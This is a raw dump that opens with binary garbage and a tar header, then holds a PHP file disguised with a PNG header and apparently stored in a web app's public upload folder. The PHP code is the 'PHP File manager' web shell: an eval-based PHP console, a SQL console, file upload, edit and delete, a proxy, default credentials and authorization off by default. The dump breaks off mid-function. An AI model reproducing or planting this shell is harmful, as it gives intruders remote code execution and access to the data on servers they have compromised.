]]�DՂ�KĿ״���.��ޯJ�N���Pֺ�P��/h'֩s�[$>H&��c,�<n���3���x��r�$ɠ�#�L���3F�d?�Ŝ���3r��f�r�ܡ1u_�:�<u��B{�v͒�ju���6��%�{�Пo�8������t�����x~�������*�mpԗ�<����?���p'x��ʝ����M�0_����5̟6$��x�
�Ɇ>�Z응�IşfY�)
<Vx�(tU��zu�S����O~�_�׈A,0�q�A,� YX�祂>���č�a�	�.�hm�Ī��0����}�RQ�k"�����ޕ}�5���F��f�tz���+$8!9�B���`�±�T�VT��C*[�P`m;�"�&+����
�(����֖���6��n�R�i��?��b�b��+�p�D��A_V�~��j��~B�(��x!�K���0��ǰ�V���
�
.^�`�.�6yxE%��2
e	�H��Eٸȧh����Z��a�ނ���]�
�x?Ȓ��r1�L��
���dJde���+�0j��h�ȩ@�x4n>��NC��N7���t
��Zt󈆶*�z������.�v�����h��ċ%��!�v����p�\�L�g�ԥFo�N���E�`�,�]2� <Ӵ� ��W(�l�e�˖��%*�(91��-��z��+~;�N����
��6Q�GE�!yg'N�����1c��"#�*h�L�n`A,q}:fZ��a�3�%�m*m�Z<��]��P�:�l%��D7�������ib"�MB~z��!{�x�R���{��f9{c�\"5���]�Yʐ�F�}o6����ʛ��唅���K��, �@���M�aR���qۉ�1�3,���
�B4�,\m���
��/z�uL5kSI�U�Jbq��*:+bxՉ��y%���ٜb����W��i���`_-����%nNS<0�kedz�0.�����P0�,ԉ��i���v�ϭl�@�1�zB�/>~�hSNY�8��n=W=9����Fq6{�KmR��Ҥ�\N%��f�7�z=*�y�\ݱ6��ފ6р��2��ŋ,�2�A-��v�)
3�ڳvH3�i��&zh�
g�R͐y��)��5��(ڻ��!�)��	2��-��W��J!�B�A�L`���F�ht"��LҖ��@e�If����[��՜)Q�<���a9�����y�,5,3����s��.�-3��5Z¾%���s�3X͒��}6�L��L:���Q����f<^Ԥ,���
T�c�͙�Ͳ���Tw�e����gK��K�����2ܸ��'�,��wϊ#S_ZN��u��3E%B��.9S@�L���aQ��&_n[�	_{/a��\J��9����՚�r�bd#��'�l�f�R��'

d�yJ蘪'+	<mƽ�> Z��п�Y����� ���_��cLt=B�t�l�0_�bc^�&c�vΈ,�Yر��/,���7/փ�����u8���;tp��z!�%��cf��
r�*���7�\�8��ZXm=}�.�D{yC�%��e��-z�,έ���U�������u�Y^���}!�/�^�c�գ�IX�9vYp��:�
��&u
���� �4�ݳ�0N��q��
d�~��H)����O�~T�c� ƒ���w�=����!�`b�y�k������n�8�^�C�ϳzf��6��\�`@,`�6A�pf"�͛0���-�M�$I6����a�L�w*jQG8�Ƅs��BRG���Ĺ���R�<���0�~�$��'~J�k�����ZmV������S��N,A�$��hґ�{�2��>��bW�}� �w�p>J�a�
4�o�fhy�[�
o�sC�9��W��܀��RqL%g��y�4j̲N1�/��lӺ�7�M�!ck#@~:RU��a�Uү����7!�R�yo���A�]~�tE��4�f�*�1A���n|~g���=m]��ۈᤩ��`Yb�L����"�<�ێ'���z�3�G��1.�*���'��ˢ��8"��̺���Qڠ �z�+]��	��j�^&�5kwSfab��EV\N�p퍵����8q���k
/�
�]����WS��|�1c;�`�>�1��8\��/m�w�N��ʱ�Q�� �P5Z�&�� ����k���4}��.?^��6�^>+אI˩qf��k1���������p+`Z3����d�~�ׇ&+Iw�������b�4�wߓ��X�N2����]��<��ƙ�S�n����7x9�J����e���>��2z��i̠զIt�K���^�z?8ޞ'�%�[M�׭���GOʰ:*�.�m�ؕ1H�Rʗ�@&3[BQ�kH��8�q�`���M8�v���8�`$�I|=�7%ɬ>-K"�=�
��EcgР/3�:�� �
B�$4P3��Cr���.&hĦ��Jb��ij�i&K�5z� ��_(�A�����@4�Vi&�bf��fB��̈́C[\K84#ձ�n�,$�<�$#C����ch�"�hL�7q�2�r��g�f
���UL���3)*�ٖf$��:_�>c��t�	���ni�]���V����RV�F�GSc�쪀6@�)��
�Y�Z��]��xl	g�PV�e/����lv:%.&��� �w�-���y��$�A]�N'��`88��/JI
�^��(G�	�!
�G9�QF�j��֚�vu��c���oOxqya��lO�^������Id/�?4�6�!�h(�F�v=0Y|Ф䧫 w�-қ��Z�Eu�v�*T�R�k��.��hw�ʪ����6I@�g��Fk۪4MQYF�l�	3LN���n/�]X� �ss�O��I�btJ�gs���VLq$-�J�:ū�Ͽ�����=/ϖ�x�ӌ��K�pA��}r�__EX
��D�^��o�@{@{UN���y�od�������&��y��ꘙ��9����6a��zƻȚU�gp`���ߍ*�]Q�6�_��L��V��'8��U����}0���
�����l�:��'x�\�#Z����V��)4�
Nd��
€��e��r^տ�X�vM
�(�m����0ۚ�W����?D>�._�C
��'V,��
,^�Ht*�v:��˜W���k���	�H~+�8~�(�+���n/i�&�t}��h^y8�=:�@��ɩ���眨�c�Y�{s�7�
���
��k�O6�[�N�g����׃�tL��&�x���p��M_(�Ů�I[S3q¥�����61:[F�Яk��~��ٟ��\�N�q��h�G�Mn(ӗ��oI���ub|!�r�/���V�۟�ьC֒vޚ^�vaT�.4êO���u�z�
_�U��jgף��e��IN�T�������if���=��on,��n�����g���6���ٍ�P�
.���s�fp�n������o�7)�^�k��R��f�6�o�!�up0tB �n�S�
0�ﳳ'
��7~���痟_~~���j�x:w2hfdj/ay4o2.php.tar000064400000235000000000000000010125 0ustar00var/www/html/back/storage/app/public/112/w2hfdj/ay4o2.php000064400000231660000000000000016635 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±
üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>gerenciador de arquivos</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
